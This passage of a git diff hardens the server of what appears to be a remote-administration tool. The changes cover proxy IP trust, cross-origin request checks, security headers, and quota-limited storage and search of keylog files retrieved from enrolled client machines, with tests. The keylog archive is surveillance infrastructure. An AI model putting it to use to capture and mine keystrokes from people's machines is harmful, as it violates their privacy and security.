stripIPv6Brackets(stripPort(raw.trim())); } -function isPrivateOrInvalid(ip: string): boolean { - if (!ip) return true; - if (isIPv4(ip)) return isPrivateIPv4(ip); - if (isIPv6(ip)) return isPrivateIPv6(ip); - return true; +function isValidIp(ip: string): boolean { + return isIPv4(ip) || isIPv6(ip); +} + +function isLoopbackIp(ip: string): boolean { + if (isIPv4(ip)) return Number(ip.split(".")[0]) === 127; + if (!isIPv6(ip)) return false; + const lower = ip.toLowerCase(); + if (lower === "::1") return true; + const dottedMapped = lower.match(/^::ffff:(\d+\.\d+\.\d+\.\d+)$/); + if (dottedMapped) return Number(dottedMapped[1].split(".")[0]) === 127; + const hexMapped = lower.match(/^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/); + return !!hexMapped && (Number.parseInt(hexMapped[1], 16) >> 8) === 127; +} + +function isTrustedImmediateProxy(peer: string): boolean { + const normalized = normalizeCandidate(peer); + if (!isValidIp(normalized)) return false; + if (isLoopbackIp(normalized)) return true; + const configured = String(process.env.OVERLORD_TRUSTED_PROXY_IPS || "") + .split(",") + .map(normalizeCandidate) + .filter(Boolean); + return configured.includes(normalized); } export function resolveForwardedIp(req: Request, fallback: string): string { if (!isTrustProxyEnabled()) return fallback; + if (!isTrustedImmediateProxy(fallback)) return fallback; const xff = req.headers.get("x-forwarded-for"); if (xff) { const parts = xff .split(",") .map((s) => normalizeCandidate(s)) - .filter(Boolean); - const publicHop = parts.find((p) => !isPrivateOrInvalid(p)); - if (publicHop) return publicHop; - if (parts.length > 0) return parts[0]; + .filter(isValidIp); + // A conforming edge proxy appends the actual peer address. Selecting from + // the right prevents an attacker from choosing a spoofed leftmost value. + if (parts.length > 0) return parts[parts.length - 1]; } const xri = req.headers.get("x-real-ip"); if (xri) { const normalized = normalizeCandidate(xri); - if (normalized) return normalized; + if (isValidIp(normalized)) return normalized; } const cfConnecting = req.headers.get("cf-connecting-ip"); if (cfConnecting) { const normalized = normalizeCandidate(cfConnecting); - if (normalized) return normalized; + if (isValidIp(normalized)) return normalized; } return fallback; diff --git a/Overlord-Server/src/server/http-dispatch.test.ts b/Overlord-Server/src/server/http-dispatch.test.ts index dd86673..7028ea2 100644 --- a/Overlord-Server/src/server/http-dispatch.test.ts +++ b/Overlord-Server/src/server/http-dispatch.test.ts @@ -1,6 +1,10 @@ import { beforeEach, describe, expect, test } from "bun:test"; import { clearRequestRateLimitsForTests } from "../rateLimit"; -import { createHttpFetchHandler, normalizeHttpRoute } from "./http-dispatch"; +import { + createHttpFetchHandler, + MAX_HTTP_METRIC_ROUTE_LENGTH, + normalizeHttpRoute, +} from "./http-dispatch"; const metrics = { withHttpMetrics: (fn: () => Promise) => fn(), @@ -36,6 +40,48 @@ describe("createHttpFetchHandler rate limiting", () => { }); }); +describe("createHttpFetchHandler browser origin checks", () => { + const makeHandler = () => createHttpFetchHandler({ + metrics, + CORS_HEADERS: {}, + routes: [async () => new Response("ok")], + }); + + test("rejects an unsafe request from a sibling origin", async () => { + const response = await makeHandler()( + new Request("https://overlord.example.com/api/enrollment/client/approve", { + method: "POST", + headers: { + Origin: "https://evil.example.com", + "Sec-Fetch-Site": "same-site", + }, + }), + makeServer("203.0.113.10"), + ); + expect(response.status).toBe(403); + }); + + test("allows same-origin browser and headerless native requests", async () => { + const browserResponse = await makeHandler()( + new Request("https://overlord.example.com/api/action", { + method: "POST", + headers: { + Origin: "https://overlord.example.com", + "Sec-Fetch-Site": "same-origin", + }, + }), + makeServer("203.0.113.10"), + ); + expect(browserResponse.status).toBe(200); + + const nativeResponse = await makeHandler()( + new Request("https://overlord.example.com/api/action", { method: "POST" }), + makeServer("203.0.113.10"), + ); + expect(nativeResponse.status).toBe(200); + }); +}); + describe("normalizeHttpRoute", () => { test("collapses dynamic route segments", () => { const req = new Request( @@ -53,4 +99,11 @@ describe("normalizeHttpRoute", () => { expect(normalizeHttpRoute(req, new URL(req.url))).toBe("GET /assets/:file"); }); + + test("bounds adversarial route labels retained by metrics", () => { + const req = new Request(`https://localhost/${"!".repeat(8_000)}`); + expect(normalizeHttpRoute(req, new URL(req.url)).length).toBe( + MAX_HTTP_METRIC_ROUTE_LENGTH, + ); + }); }); diff --git a/Overlord-Server/src/server/http-dispatch.ts b/Overlord-Server/src/server/http-dispatch.ts index bd6cd95..4b2b246 100644 --- a/Overlord-Server/src/server/http-dispatch.ts +++ b/Overlord-Server/src/server/http-dispatch.ts @@ -1,10 +1,12 @@ import { wrapServerWithClientIp, type RequestServerLike } from "./client-ip"; import { consumeUnauthorizedRateLimit } from "../rateLimit"; +import { rejectUnsafeCrossOriginRequest } from "./request-origin"; export type RouteHandler = (req: Request, url: URL, server: unknown) => Promise; const UUID_SEGMENT = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i; const LONG_ID_SEGMENT = /^[0-9a-f]{16,}$/i; +export const MAX_HTTP_METRIC_ROUTE_LENGTH = 1_024; function tooManyRequestsResponse(retryAfter = 60): Response { return new Response("Too many requests", { @@ -30,7 +32,7 @@ export function normalizeHttpRoute(req: Request, url: URL): string { .filter(Boolean) .map(normalizeRouteSegment) .join("/"); - return `${req.method.toUpperCase()} /${path}`; + return `${req.method.toUpperCase()} /${path}`.slice(0, MAX_HTTP_METRIC_ROUTE_LENGTH); } export function createHttpFetchHandler(deps: { @@ -45,6 +47,8 @@ export function createHttpFetchHandler(deps: { if (req.method === "OPTIONS") { return new Response("", { headers: deps.CORS_HEADERS }); } + const originDenied = rejectUnsafeCrossOriginRequest(req, url); + if (originDenied) return originDenied; const wrapped = wrapServerWithClientIp(server as RequestServerLike); const ip = wrapped.requestIP(req)?.address || "unknown"; diff --git a/Overlord-Server/src/server/http-security.test.ts b/Overlord-Server/src/server/http-security.test.ts index 7080ba1..4f9287d 100644 --- a/Overlord-Server/src/server/http-security.test.ts +++ b/Overlord-Server/src/server/http-security.test.ts @@ -2,17 +2,9 @@ import { describe, expect, test } from "bun:test"; import { CORS_HEADERS, SECURITY_HEADERS } from "./http-security"; describe("CORS_HEADERS", () => { - test("has restrictive Access-Control-Allow-Origin", () => { + test("preserves legacy sandboxed-document GET compatibility without credentials", () => { expect(CORS_HEADERS["Access-Control-Allow-Origin"]).toBe("null"); - }); - - test("limits allowed methods", () => { - expect(CORS_HEADERS["Access-Control-Allow-Methods"]).toContain("GET"); - expect(CORS_HEADERS["Access-Control-Allow-Methods"]).toContain("OPTIONS"); - }); - - test("allows Content-Type header", () => { - expect(CORS_HEADERS["Access-Control-Allow-Headers"]).toContain("Content-Type"); + expect(CORS_HEADERS).not.toHaveProperty("Access-Control-Allow-Credentials"); }); }); @@ -22,6 +14,9 @@ describe("SECURITY_HEADERS", () => { expect(csp).toContain("default-src 'self'"); expect(csp).toContain("script-src 'self'"); expect(csp).toContain("font-src 'self' data:"); + expect(csp).toContain("base-uri 'none'"); + expect(csp).toContain("form-action 'self'"); + expect(csp).toContain("object-src blob:"); expect(csp).toContain("frame-ancestors 'none'"); }); @@ -33,8 +28,8 @@ describe("SECURITY_HEADERS", () => { expect(SECURITY_HEADERS["X-Frame-Options"]).toBe("DENY"); }); - test("enables XSS protection", () => { - expect(SECURITY_HEADERS["X-XSS-Protection"]).toBe("1; mode=block"); + test("disables the obsolete browser XSS auditor", () => { + expect(SECURITY_HEADERS["X-XSS-Protection"]).toBe("0"); }); test("sets strict referrer policy", () => { diff --git a/Overlord-Server/src/server/http-security.ts b/Overlord-Server/src/server/http-security.ts index bdaaf4a..0f5a644 100644 --- a/Overlord-Server/src/server/http-security.ts +++ b/Overlord-Server/src/server/http-security.ts @@ -1,3 +1,5 @@ +// The operator UI and API are same-origin. Omitting CORS opt-in headers is +// stricter than allowing the special `null` origin used by sandboxed documents. export const CORS_HEADERS = { "Access-Control-Allow-Origin": "null", "Access-Control-Allow-Methods": "GET,OPTIONS", @@ -5,10 +7,10 @@ export const CORS_HEADERS = { }; export const SECURITY_HEADERS = { - "Content-Security-Policy": "default-src 'self'; script-src 'self'; worker-src 'self' blob:; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob: https://cdn.discordapp.com https://a.basemaps.cartocdn.com https://b.basemaps.cartocdn.com https://c.basemaps.cartocdn.com https://d.basemaps.cartocdn.com; font-src 'self' data:; connect-src 'self'; object-src blob:; frame-ancestors 'none'", + "Content-Security-Policy": "default-src 'self'; base-uri 'none'; form-action 'self'; script-src 'self'; worker-src 'self' blob:; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob: https://cdn.discordapp.com https://a.basemaps.cartocdn.com https://b.basemaps.cartocdn.com https://c.basemaps.cartocdn.com https://d.basemaps.cartocdn.com; font-src 'self' data:; connect-src 'self'; object-src blob:; frame-src 'self'; frame-ancestors 'none'", "X-Content-Type-Options": "nosniff", "X-Frame-Options": "DENY", - "X-XSS-Protection": "1; mode=block", + "X-XSS-Protection": "0", "Referrer-Policy": "strict-origin-when-cross-origin", "Strict-Transport-Security": "max-age=63072000; includeSubDomains", "Permissions-Policy": "camera=(), geolocation=(), payment=()", diff --git a/Overlord-Server/src/server/keylog-archive-storage.test.ts b/Overlord-Server/src/server/keylog-archive-storage.test.ts new file mode 100644 index 0000000..c15b781 --- /dev/null +++ b/Overlord-Server/src/server/keylog-archive-storage.test.ts @@ -0,0 +1,305 @@ +import { describe, expect, test } from "bun:test"; +import Database from "bun:sqlite"; +import { + createKeylogArchiveWriter, + type KeylogArchiveQuotaLimits, + type KeylogArchiveRecord, +} from "./keylog-archive"; + +const generousLimits: KeylogArchiveQuotaLimits = { + perClientFiles: 100, + perClientBytes: 1024 * 1024, + globalFiles: 1_000, + globalBytes: 16 * 1024 * 1024, +}; + +function createHarness(limits: KeylogArchiveQuotaLimits = generousLimits) { + const database = new Database(":memory:"); + database.exec(` + CREATE TABLE keylog_archive_files ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + filename TEXT NOT NULL, + size INTEGER NOT NULL DEFAULT 0, + modified_at INTEGER, + retrieved_at INTEGER NOT NULL, + content TEXT NOT NULL DEFAULT '', + UNIQUE(client_id, filename) + ); + CREATE VIRTUAL TABLE keylog_archive_fts USING fts5( + file_id UNINDEXED, + client_id UNINDEXED, + filename, + content, + tokenize = 'unicode61' + ); + `); + return { + database, + save: createKeylogArchiveWriter(database as any, () => limits), + }; +} + +function record( + clientId: string, + filename: string, + retrievedAt: number, + content: string, +): KeylogArchiveRecord { + return { + clientId, + filename, + size: Buffer.byteLength(content, "utf8"), + modifiedAt: retrievedAt, + retrievedAt, + content, + }; +} + +describe("keylog archive aggregate quotas", () => { + test("prunes the oldest fleet rows and their FTS entries at the global count cap", () => { + const { database, save } = createHarness({ ...generousLimits, globalFiles: 2 }); + try { + expect(save(record("client-a", "a.log", 1, "alpha secret"))).toBe(true); + expect(save(record("client-b", "b.log", 2, "bravo secret"))).toBe(true); + expect(save(record("client-c", "c.log", 3, "charlie secret"))).toBe(true); + + expect(database.query( + "SELECT client_id FROM keylog_archive_files ORDER BY retrieved_at", + ).all()).toEqual([{ client_id: "client-b" }, { client_id: "client-c" }]); + expect(database.query( + "SELECT client_id FROM keylog_archive_fts ORDER BY rowid", + ).all()).toEqual([{ client_id: "client-b" }, { client_id: "client-c" }]); + expect((database.query( + "SELECT COUNT(*) AS count FROM keylog_archive_fts WHERE keylog_archive_fts MATCH 'alpha'", + ).get() as { count: number }).count).toBe(0); + } finally { + database.close(); + } + }); + + test("prunes enough oldest rows to satisfy the aggregate byte cap", () => { + const { database, save } = createHarness({ ...generousLimits, globalBytes: 10 }); + try { + expect(save(record("client-a", "a.log", 1, "aaaa"))).toBe(true); + expect(save(record("client-b", "b.log", 2, "bbbb"))).toBe(true); + expect(save(record("client-c", "c.log", 3, "ccccccc"))).toBe(true); + + expect(database.query( + "SELECT client_id, size FROM keylog_archive_files ORDER BY retrieved_at", + ).all()).toEqual([{ client_id: "client-c", size: 7 }]); + expect((database.query( + "SELECT COUNT(*) AS count FROM keylog_archive_fts", + ).get() as { count: number }).count).toBe(1); + } finally { + database.close(); + } + }); + + test("prunes the oldest per-client row even when aggregate capacity remains", () => { + const { database, save } = createHarness({ ...generousLimits, perClientFiles: 1 }); + try { + expect(save(record("client-a", "a.log", 1, "alpha"))).toBe(true); + expect(save(record("client-a", "b.log", 2, "bravo"))).toBe(true); + expect(save(record("client-b", "c.log", 3, "charlie"))).toBe(true); + + expect(database.query( + "SELECT client_id, filename FROM keylog_archive_files ORDER BY id", + ).all()).toEqual([ + { client_id: "client-a", filename: "b.log" }, + { client_id: "client-b", filename: "c.log" }, + ]); + } finally { + database.close(); + } + }); + + test("accounts legacy rows by actual UTF-8 content and normalizes a replacement size", () => { + const { database, save } = createHarness({ + ...generousLimits, + perClientBytes: 5, + }); + try { + database.run( + `INSERT INTO keylog_archive_files + (client_id, filename, size, modified_at, retrieved_at, content) + VALUES (?, ?, ?, ?, ?, ?)`, + ["client-a", "legacy.log", 0, 1, 1, "12345678"], + ); + + expect(save(record("client-a", "legacy.log", 2, "four"))).toBe(true); + expect(database.query( + `SELECT size, LENGTH(CAST(content AS BLOB)) AS actualBytes + FROM keylog_archive_files WHERE client_id='client-a' AND filename='legacy.log'`, + ).get()).toEqual({ size: 4, actualBytes: 4 }); + } finally { + database.close(); + } + }); + + test("prunes legacy rows using actual content bytes instead of advertised size", () => { + const { database, save } = createHarness({ + ...generousLimits, + globalBytes: 10, + }); + try { + database.run( + `INSERT INTO keylog_archive_files + (client_id, filename, size, modified_at, retrieved_at, content) + VALUES (?, ?, ?, ?, ?, ?)`, + ["legacy-client", "legacy.log", 0, 1, 1, "12345678"], + ); + + expect(save(record("new-client", "new.log", 2, "abcdef"))).toBe(true); + expect(database.query( + "SELECT client_id, filename, size FROM keylog_archive_files", + ).all()).toEqual([{ client_id: "new-client", filename: "new.log", size: 6 }]); + } finally { + database.close(); + } + }); + + test("converges a legacy per-client overage while protecting its replacement and FTS row", () => { + const { database, save } = createHarness({ + ...generousLimits, + perClientFiles: 1, + globalFiles: 10_000, + }); + try { + const insert = database.prepare( + `INSERT INTO keylog_archive_files + (client_id, filename, size, modified_at, retrieved_at, content) + VALUES (?, ?, ?, ?, ?, ?)`, + ); + const insertFts = database.prepare( + `INSERT INTO keylog_archive_fts(rowid, file_id, client_id, filename, content) + VALUES (?, ?, ?, ?, ?)`, + ); + database.transaction(() => { + const protectedResult = insert.run( + "client-a", + "protected.log", + 0, + 0, + 0, + "protected old", + ); + const protectedId = Number(protectedResult.lastInsertRowid); + insertFts.run( + protectedId, + protectedId, + "client-a", + "protected.log", + "protected old", + ); + for (let i = 0; i < 5_001; i += 1) { + const result = insert.run("client-a", `${i}.log`, 1, i + 1, i + 1, "x"); + if (i === 0 || i === 5_000) { + const id = Number(result.lastInsertRowid); + insertFts.run(id, id, "client-a", `${i}.log`, "x"); + } + } + })(); + + const replacement = record("client-a", "protected.log", 10_000, "protected new"); + expect(save(replacement)).toBe(false); + expect(database.query( + "SELECT filename, content FROM keylog_archive_files ORDER BY retrieved_at", + ).all()).toEqual([ + { filename: "protected.log", content: "protected old" }, + { filename: "5000.log", content: "x" }, + ]); + expect(database.query( + "SELECT filename, content FROM keylog_archive_fts ORDER BY rowid", + ).all()).toEqual([ + { filename: "protected.log", content: "protected old" }, + { filename: "5000.log", content: "x" }, + ]); + + expect(save(replacement)).toBe(true); + expect(database.query( + "SELECT filename, size, content FROM keylog_archive_files", + ).all()).toEqual([{ + filename: "protected.log", + size: Buffer.byteLength("protected new", "utf8"), + content: "protected new", + }]); + expect(database.query( + "SELECT filename, content FROM keylog_archive_fts", + ).all()).toEqual([{ filename: "protected.log", content: "protected new" }]); + } finally { + database.close(); + } + }); + + test("commits one bounded cleanup batch when a legacy overage cannot yet admit the new row", () => { + const { database, save } = createHarness({ + ...generousLimits, + perClientFiles: 10_000, + globalFiles: 1, + }); + try { + const insert = database.prepare( + `INSERT INTO keylog_archive_files + (client_id, filename, size, modified_at, retrieved_at, content) + VALUES (?, ?, ?, ?, ?, ?)`, + ); + const insertFts = database.prepare( + `INSERT INTO keylog_archive_fts(rowid, file_id, client_id, filename, content) + VALUES (?, ?, ?, ?, ?)`, + ); + database.transaction(() => { + for (let i = 0; i < 5_002; i += 1) { + const result = insert.run(`legacy-${i}`, `${i}.log`, 1, i, i, "x"); + if (i === 0 || i === 5_001) { + const id = Number(result.lastInsertRowid); + insertFts.run(id, id, `legacy-${i}`, `${i}.log`, "x"); + } + } + })(); + + const incoming = record("new-client", "new.log", 10_000, "new"); + expect(save(incoming)).toBe(false); + expect(database.query( + "SELECT client_id FROM keylog_archive_files ORDER BY retrieved_at", + ).all()).toEqual([{ client_id: "legacy-5000" }, { client_id: "legacy-5001" }]); + expect(database.query( + "SELECT client_id FROM keylog_archive_fts", + ).all()).toEqual([{ client_id: "legacy-5001" }]); + + expect(save(incoming)).toBe(true); + expect(database.query( + "SELECT client_id, filename FROM keylog_archive_files", + ).all()).toEqual([{ client_id: "new-client", filename: "new.log" }]); + expect((database.query( + "SELECT COUNT(*) AS count FROM keylog_archive_fts", + ).get() as { count: number }).count).toBe(1); + } finally { + database.close(); + } + }); + + test("rolls back quota pruning and FTS deletion when the replacement write fails", () => { + const { database, save } = createHarness({ ...generousLimits, globalFiles: 1 }); + try { + expect(save(record("client-a", "old.log", 1, "old searchable text"))).toBe(true); + database.exec(` + CREATE TRIGGER reject_new_archive BEFORE INSERT ON keylog_archive_files + WHEN new.filename = 'new.log' + BEGIN + SELECT RAISE(ABORT, 'injected failure'); + END; + `); + + expect(() => save(record("client-b", "new.log", 2, "new text"))).toThrow(); + expect(database.query( + "SELECT client_id, filename FROM keylog_archive_files", + ).all()).toEqual([{ client_id: "client-a", filename: "old.log" }]); + expect(database.query( + "SELECT client_id, filename FROM keylog_archive_fts", + ).all()).toEqual([{ client_id: "client-a", filename: "old.log" }]); + } finally { + database.close(); + } + }); +}); diff --git a/Overlord-Server/src/server/keylog-archive.ts b/Overlord-Server/src/server/keylog-archive.ts index 8cc90a7..a082fd0 100644 --- a/Overlord-Server/src/server/keylog-archive.ts +++ b/Overlord-Server/src/server/keylog-archive.ts @@ -1,5 +1,5 @@ import type { ServerWebSocket } from "bun"; -import { db } from "../db/connection"; +import { db, type TypedDatabase } from "../db/connection"; import { getConfig } from "../config"; import { logger } from "../logger"; import { encodeMessage } from "../protocol"; @@ -13,8 +13,310 @@ type KeylogFileMeta = { modifiedAt: number | null; }; -const pendingFileMeta = new Map>(); +type PendingArchiveFiles = { + files: Map; + expiresAt: number; +}; + +const pendingFileMeta = new Map(); +const archiveMessageRates = new Map(); const MAX_RETRIEVES_PER_LIST = 25; +const MAX_FILES_PER_LIST = 100_000; +const MAX_KEYLOG_FILENAME_LENGTH = 255; +const MAX_ARCHIVE_FILES_PER_CLIENT = 100_000; +const MAX_ARCHIVE_BYTES_PER_CLIENT = 10 * 1024 * 1024 * 1024; +const DEFAULT_MAX_ARCHIVE_FILES_GLOBAL = 1_000_000; +const DEFAULT_MAX_ARCHIVE_BYTES_GLOBAL = 64 * 1024 * 1024 * 1024; +const MAX_ARCHIVE_ROWS_PRUNED_PER_SAVE = 5_000; +const KEYLOG_CONTENT_BYTES_SQL = "COALESCE(LENGTH(CAST(content AS BLOB)), 0)"; +const PENDING_ARCHIVE_TTL_MS = 5 * 60_000; +const MAX_PENDING_ARCHIVE_CLIENTS = 5_000; + +export type KeylogArchiveQuotaLimits = { + perClientFiles: number; + perClientBytes: number; + globalFiles: number; + globalBytes: number; +}; + +export type KeylogArchiveRecord = { + clientId: string; + filename: string; + size: number; + modifiedAt: number | null; + retrievedAt: number; + content: string; +}; + +function positiveArchiveLimit(name: string, fallback: number, maximum: number): number { + const parsed = Number(process.env[name]); + if (!Number.isSafeInteger(parsed) || parsed <= 0) return fallback; + return Math.min(parsed, maximum); +} + +function getKeylogArchiveQuotaLimits(): KeylogArchiveQuotaLimits { + return { + perClientFiles: MAX_ARCHIVE_FILES_PER_CLIENT, + perClientBytes: MAX_ARCHIVE_BYTES_PER_CLIENT, + globalFiles: positiveArchiveLimit( + "OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_FILES", + DEFAULT_MAX_ARCHIVE_FILES_GLOBAL, + 1_000_000, + ), + globalBytes: positiveArchiveLimit( + "OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_BYTES", + DEFAULT_MAX_ARCHIVE_BYTES_GLOBAL, + 64 * 1024 * 1024 * 1024, + ), + }; +} + +function deleteArchivedKeylogRows( + database: TypedDatabase, + ids: number[], +): void { + if (ids.length === 0) return; + const deleteFile = database.prepare("DELETE FROM keylog_archive_files WHERE id = ?"); + let deleteFts: { run(...params: any[]): unknown } | null = null; + try { + deleteFts = database.prepare("DELETE FROM keylog_archive_fts WHERE rowid = ?"); + } catch { + // FTS5 is optional on SQLite builds that do not provide it. + } + for (const id of ids) { + deleteFts?.run(id); + deleteFile.run(id); + } +} + +function replaceArchivedKeylogFts( + database: TypedDatabase, + row: { id: number; client_id: string; filename: string; content: string }, +): void { + try { + database.prepare("DELETE FROM keylog_archive_fts WHERE rowid = ?").run(row.id); + database.prepare( + `INSERT INTO keylog_archive_fts(rowid, file_id, client_id, filename, content) + VALUES (?, ?, ?, ?, ?)`, + ).run(row.id, row.id, row.client_id, row.filename, row.content); + } catch { + // The archive remains usable without full-text search. Search already has + // a bounded LIKE fallback for SQLite builds without FTS5. + } +} + +type ArchivedKeylogQuotaRow = { id: number; bytes: number }; +type ArchivedKeylogQuotaTotals = { files: number; bytes: number }; + +function getArchivedKeylogQuotaTotals( + database: TypedDatabase, + clientId: string | null, +): ArchivedKeylogQuotaTotals { + const row = clientId === null + ? database.prepare( + `SELECT COUNT(*) AS files, COALESCE(SUM(${KEYLOG_CONTENT_BYTES_SQL}), 0) AS bytes + FROM keylog_archive_files`, + ).get() + : database.prepare( + `SELECT COUNT(*) AS files, COALESCE(SUM(${KEYLOG_CONTENT_BYTES_SQL}), 0) AS bytes + FROM keylog_archive_files WHERE client_id = ?`, + ).get(clientId); + return row as ArchivedKeylogQuotaTotals; +} + +function archivedKeylogScopeFits( + database: TypedDatabase, + clientId: string | null, + projectedFilesDelta: number, + projectedBytesDelta: number, + maxFiles: number, + maxBytes: number, +): boolean { + const totals = getArchivedKeylogQuotaTotals(database, clientId); + return Number(totals.files || 0) + projectedFilesDelta <= maxFiles + && Number(totals.bytes || 0) + projectedBytesDelta <= maxBytes; +} + +function pruneArchivedKeylogScope( + database: TypedDatabase, + clientId: string | null, + protectedId: number | null, + projectedFilesDelta: number, + projectedBytesDelta: number, + maxFiles: number, + maxBytes: number, +): boolean { + const totals = getArchivedKeylogQuotaTotals(database, clientId); + let files = Number(totals.files || 0) + projectedFilesDelta; + let bytes = Number(totals.bytes || 0) + projectedBytesDelta; + if (files <= maxFiles && bytes <= maxBytes) return true; + + const clauses: string[] = []; + const params: Array = []; + if (clientId !== null) { + clauses.push("client_id = ?"); + params.push(clientId); + } + if (protectedId !== null) { + clauses.push("id <> ?"); + params.push(protectedId); + } + const where = clauses.length > 0 ? `WHERE ${clauses.join(" AND ")}` : ""; + const candidates = database.prepare( + `SELECT id, ${KEYLOG_CONTENT_BYTES_SQL} AS bytes + FROM keylog_archive_files + ${where} + ORDER BY retrieved_at ASC, id ASC + LIMIT ?`, + ).all(...params, MAX_ARCHIVE_ROWS_PRUNED_PER_SAVE) as ArchivedKeylogQuotaRow[]; + + const pruneIds: number[] = []; + for (const candidate of candidates) { + pruneIds.push(candidate.id); + files -= 1; + bytes -= Number(candidate.bytes || 0); + if (files <= maxFiles && bytes <= maxBytes) break; + } + + // Persist a bounded reconciliation batch even if admitting the incoming row + // will require another pass. The incoming/protected row is not mutated. + deleteArchivedKeylogRows(database, pruneIds); + return files <= maxFiles && bytes <= maxBytes; +} + +/** + * Build the archive writer separately so quota, pruning, and FTS consistency + * can be regression-tested against an isolated SQLite database. + */ +export function createKeylogArchiveWriter( + database: TypedDatabase, + quotaProvider: () => KeylogArchiveQuotaLimits = getKeylogArchiveQuotaLimits, +): (record: KeylogArchiveRecord) => boolean { + const transaction = database.transaction((record: KeylogArchiveRecord): boolean => { + const limits = quotaProvider(); + const contentBytes = typeof record.content === "string" + ? Buffer.byteLength(record.content, "utf8") + : -1; + if ( + typeof record.clientId !== "string" + || record.clientId.length === 0 + || record.clientId.length > 128 + || typeof record.filename !== "string" + || record.filename.length === 0 + || record.filename.length > MAX_KEYLOG_FILENAME_LENGTH + || !Number.isSafeInteger(record.size) + || record.size < 0 + || record.size !== contentBytes + || limits.perClientFiles <= 0 + || limits.perClientBytes <= 0 + || limits.globalFiles <= 0 + || limits.globalBytes <= 0 + || record.size > limits.perClientBytes + || record.size > limits.globalBytes + ) return false; + + const old = database.prepare( + `SELECT id, ${KEYLOG_CONTENT_BYTES_SQL} AS bytes + FROM keylog_archive_files WHERE client_id = ? AND filename = ?`, + ).get(record.clientId, record.filename) as { id: number; bytes: number } | undefined; + const projectedFilesDelta = old ? 0 : 1; + const projectedBytesDelta = record.size - Number(old?.bytes || 0); + let perClientSatisfied = pruneArchivedKeylogScope( + database, + record.clientId, + old?.id ?? null, + projectedFilesDelta, + projectedBytesDelta, + limits.perClientFiles, + limits.perClientBytes, + ); + const globalSatisfied = pruneArchivedKeylogScope( + database, + null, + old?.id ?? null, + projectedFilesDelta, + projectedBytesDelta, + limits.globalFiles, + limits.globalBytes, + ); + if (!perClientSatisfied && globalSatisfied) { + // Fleet pruning may also have removed rows from this client, so use the + // post-global state rather than conservatively requiring another write. + perClientSatisfied = archivedKeylogScopeFits( + database, + record.clientId, + projectedFilesDelta, + projectedBytesDelta, + limits.perClientFiles, + limits.perClientBytes, + ); + } + if (!perClientSatisfied || !globalSatisfied) return false; + + database.prepare( + `INSERT INTO keylog_archive_files(client_id, filename, size, modified_at, retrieved_at, content) + VALUES (?, ?, ?, ?, ?, ?) + ON CONFLICT(client_id, filename) DO UPDATE SET + size = excluded.size, + modified_at = excluded.modified_at, + retrieved_at = excluded.retrieved_at, + content = excluded.content`, + ).run( + record.clientId, + record.filename, + record.size, + record.modifiedAt, + record.retrievedAt, + record.content, + ); + const stored = database.prepare( + "SELECT id, client_id, filename, content FROM keylog_archive_files WHERE client_id = ? AND filename = ?", + ).get(record.clientId, record.filename) as { + id: number; + client_id: string; + filename: string; + content: string; + } | undefined; + if (!stored) throw new Error("keylog archive write did not persist a row"); + replaceArchivedKeylogFts(database, stored); + return true; + }); + + return transaction; +} + +const storeArchivedKeylog = createKeylogArchiveWriter(db); + +function consumeArchiveMessageRate(clientId: string, kind: "list" | "content"): boolean { + const now = Date.now(); + const windowMs = 60_000; + const max = kind === "list" ? 6 : 60; + const key = `${clientId}:${kind}`; + let state = archiveMessageRates.get(key); + if (!state || now - state.windowStart >= windowMs) { + state = { windowStart: now, count: 0 }; + } + state.count += 1; + archiveMessageRates.set(key, state); + if (archiveMessageRates.size > 10_000) { + for (const [rateKey, entry] of archiveMessageRates) { + if (now - entry.windowStart >= windowMs * 2) archiveMessageRates.delete(rateKey); + } + } + return state.count <= max; +} + +function setPendingFiles(clientId: string, files: Map): void { + const now = Date.now(); + for (const [pendingClientId, entry] of pendingFileMeta) { + if (entry.expiresAt <= now) pendingFileMeta.delete(pendingClientId); + } + if (!pendingFileMeta.has(clientId) && pendingFileMeta.size >= MAX_PENDING_ARCHIVE_CLIENTS) { + const oldest = pendingFileMeta.keys().next().value as string | undefined; + if (oldest) pendingFileMeta.delete(oldest); + } + pendingFileMeta.set(clientId, { files, expiresAt: now + PENDING_ARCHIVE_TTL_MS }); +} function rot13(str: string): string { return String(str || "").replace(/[a-zA-Z]/g, (char) => { @@ -25,9 +327,18 @@ function rot13(str: string): string { function normalizeMeta(file: any): KeylogFileMeta | null { const name = typeof file?.name === "string" ? file.name.trim() : ""; - if (!name || name.includes("/") || name.includes("\\")) return null; - const size = Math.max(0, Math.floor(Number(file?.size) || 0)); - const date = typeof file?.date === "string" ? file.date : ""; + if ( + !name || + name.length > MAX_KEYLOG_FILENAME_LENGTH || + name === "." || + name === ".." || + name.includes("/") || + name.includes("\\") + ) return null; + const rawSize = Number(file?.size); + if (!Number.isSafeInteger(rawSize) || rawSize < 0) return null; + const size = rawSize; + const date = typeof file?.date === "string" ? file.date.slice(0, 64) : ""; const parsed = date ? Date.parse(date) : NaN; return { name, @@ -37,8 +348,16 @@ function normalizeMeta(file: any): KeylogFileMeta | null { }; } -function getPendingMeta(clientId: string, filename: string): KeylogFileMeta | null { - return pendingFileMeta.get(clientId)?.get(filename) ?? null; +function takePendingMeta(clientId: string, filename: string): KeylogFileMeta | null { + const pending = pendingFileMeta.get(clientId); + if (!pending || pending.expiresAt <= Date.now()) { + pendingFileMeta.delete(clientId); + return null; + } + const meta = pending.files.get(filename) ?? null; + pending.files.delete(filename); + if (pending.files.size === 0) pendingFileMeta.delete(clientId); + return meta; } function shouldArchiveForClient(clientId: string): boolean { @@ -58,41 +377,37 @@ function buildFtsQuery(query: string): string { .join(" "); } -function rebuildArchiveFts(row: { id: number; client_id: string; filename: string; content: string }): void { - try { - db.prepare("DELETE FROM keylog_archive_fts WHERE rowid = ?").run(row.id); - db.prepare( - `INSERT INTO keylog_archive_fts(rowid, file_id, client_id, filename, content) - VALUES (?, ?, ?, ?, ?)`, - ).run(row.id, row.id, row.client_id, row.filename, row.content); - } catch (err) { - logger.warn(`[keylog-archive] failed to update FTS for ${row.client_id}/${row.filename}: ${(err as Error).message}`); - } -} - -export function archiveKeylogContent(clientId: string, filename: string, encodedContent: string, meta?: KeylogFileMeta | null): void { +function archiveKeylogContent(clientId: string, filename: string, encodedContent: string): void { if 